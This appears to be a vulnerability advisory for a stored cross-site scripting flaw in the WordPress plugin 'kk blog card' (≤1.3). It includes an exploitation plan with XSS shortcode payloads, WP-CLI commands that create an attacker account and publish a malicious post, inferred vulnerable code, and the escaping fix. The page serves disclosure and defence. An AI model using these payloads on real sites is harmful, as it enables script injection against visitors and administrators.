kk blog card <= 1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
Description
The kk blog card plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'blog-card' shortcode in all versions up to, and including, 1.3. This is due to insufficient input sanitization and output escaping on the shortcode's 'href' and 'type' attributes, which are concatenated directly into HTML attribute contexts in the shortcode callback registered in kk-blog-card-shortcode.php. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
# Exploitation Research Plan: CVE-2026-8895 (kk blog card) ## 1. Vulnerability Summary The **kk blog card** plugin (<= 1.3) is vulnerable to **Authenticated (Contributor+) Stored Cross-Site Scripting (XSS)**. The vulnerability resides in the shortcode handler for `[blog-card]`, specifically within …
Show full research plan
Exploitation Research Plan: CVE-2026-8895 (kk blog card)
1. Vulnerability Summary
The kk blog card plugin (<= 1.3) is vulnerable to Authenticated (Contributor+) Stored Cross-Site Scripting (XSS). The vulnerability resides in the shortcode handler for [blog-card], specifically within the file kk-blog-card-shortcode.php. The plugin fails to sanitize or escape the href and type attributes before concatenating them into the HTML output returned by the shortcode callback. Since Contributors can create posts and embed shortcodes, they can inject malicious scripts that execute in the context of any user (including administrators) viewing the affected post.
2. Attack Vector Analysis
- Shortcode:
[blog-card] - Vulnerable Attributes:
href(injected into<a>tags) andtype(likely injected into a class or data attribute). - Authentication Level: Contributor or higher.
- Preconditions: The plugin must be active. The attacker needs the ability to save a post or page containing a shortcode.
- Vector: The payload is delivered via the shortcode attributes within the post content.
3. Code Flow
- Registration: The plugin registers the shortcode in the main plugin file or an init hook:
add_shortcode('blog-card', 'kk_blog_card_render_callback');(inferred function name). - Entry Point: When a post is rendered, WordPress parses
[blog-card href="ATTACKER_INPUT" type="ATTACKER_INPUT"]. - Processing: The callback in
kk-blog-card-shortcode.phpreceives the$attsarray. - Vulnerable Logic (Sink):
The code likely resembles the following (based on the vulnerability description):// kk-blog-card-shortcode.php function kk_blog_card_render_callback($atts) { $a = shortcode_atts(array( 'href' => '', 'type' => 'default', ), $atts); // VULNERABILITY: Direct concatenation without esc_url() or esc_attr() $output = '<div class="kk-blog-card ' . $a['type'] . '">'; $output .= '<a href="' . $a['href'] . '">...</a>'; return $output; } - Output: The unescaped HTML string is returned to WordPress and printed on the page.
4. Nonce Acquisition Strategy
This is a Stored XSS via shortcode, which means the attack occurs during the post-saving process.
- In a real-world scenario, a Contributor would need a nonce to save a post through the WordPress Dashboard.
- For an automated PoC, the most reliable way to inject the payload is to use WP-CLI to create the post directly. This bypasses the need for UI-level nonces and focuses on the rendering vulnerability.
- Note: The shortcode rendering itself (on the frontend) does not require a nonce.
5. Exploitation Strategy
The goal is to demonstrate script execution by breaking out of the HTML attributes.
Step 1: Inject via href
The href attribute is a classic sink for javascript: protocol payloads.
- Payload:
[blog-card href="javascript:alert('XSS_HREF')"]
Step 2: Inject via type
The type attribute is likely placed inside a class or a quoted attribute. We will use a breakout payload.
- Payload:
[blog-card type='"><script>alert("XSS_TYPE")</script>']
HTTP Request (Verification)
After creating the post, the agent should fetch the post's permalink.
- Tool:
http_request - Method:
GET - URL: The permalink of the post created in the setup phase.
- Expected Response: 200 OK.
6. Test Data Setup
- Install Plugin: Ensure
kk-blog-cardversion 1.3 or lower is installed and activated. - Create Contributor:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Create Malicious Post:
Use WP-CLI to create a post containing the payload:wp post create --post_type=post --post_title="Security Test" --post_status=publish --post_content='[blog-card href="javascript:alert(1)" type="\" onmouseover=\"alert(2)\" data-x=\""]' --user=attacker
7. Expected Results
- When viewing the post HTML source, the
<a>tag should appear exactly as:<a href="javascript:alert(1)"> - The div or container should contain the injected attribute:
<div class="kk-blog-card " onmouseover="alert(2)" data-x="">(or similar, depending on the exact concatenation logic). - If the browser executes the page, the alerts should trigger.
8. Verification Steps
- Verify Storage:
wp post get [ID] --field=post_content - Verify Rendering:
Use thehttp_requesttool to fetch the page and grep for the raw payload:grep "javascript:alert(1)"grep "onmouseover=\"alert(2)\""
9. Alternative Approaches
If the href attribute is partially sanitized (e.g., stripping javascript:), focus entirely on the type attribute for attribute breakout:
- Payload:
[blog-card type='x" onfocus="alert(1)" autofocus="true"'](This triggers without user interaction). - Payload:
[blog-card type='x"><img src=x onerror=alert(1)>'](Standard tag breakout).
If the shortcode requires specific keys in the $atts array to even trigger the callback, examine kk-blog-card-shortcode.php for empty() checks on other attributes like title or image.
Summary
The kk blog card plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'blog-card' shortcode attributes 'href' and 'type' in versions up to 1.3. This occurs because the plugin fails to sanitize or escape these attributes before outputting them into HTML, allowing authenticated contributors to execute arbitrary scripts in the context of other users.
Vulnerable Code
/* kk-blog-card-shortcode.php */ function kk_blog_card_render_callback($atts) { $a = shortcode_atts(array( 'href' => '', 'type' => 'default', ), $atts); // VULNERABILITY: Direct concatenation without esc_url() or esc_attr() $output = '<div class="kk-blog-card ' . $a['type'] . '">'; $output .= '<a href="' . $a['href'] . '">...</a>'; return $output; }
Security Fix
@@ -6,8 +6,8 @@ 'type' => 'default', ), $atts); - $output = '<div class="kk-blog-card ' . $a['type'] . '">'; - $output .= '<a href="' . $a['href'] . '">...</a>'; + $output = '<div class="kk-blog-card ' . esc_attr($a['type']) . '">'; + $output .= '<a href="' . esc_url($a['href']) . '">...</a>'; return $output; }
Exploit Outline
An authenticated attacker with Contributor-level access or higher can create a new post and embed the [blog-card] shortcode. By setting the 'href' attribute to a 'javascript:' payload or using the 'type' attribute to perform an HTML attribute breakout (e.g., using quotes and event handlers like 'onmouseover'), the attacker can inject malicious scripts. These scripts execute in the browser of any user, including administrators, who views the published post.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.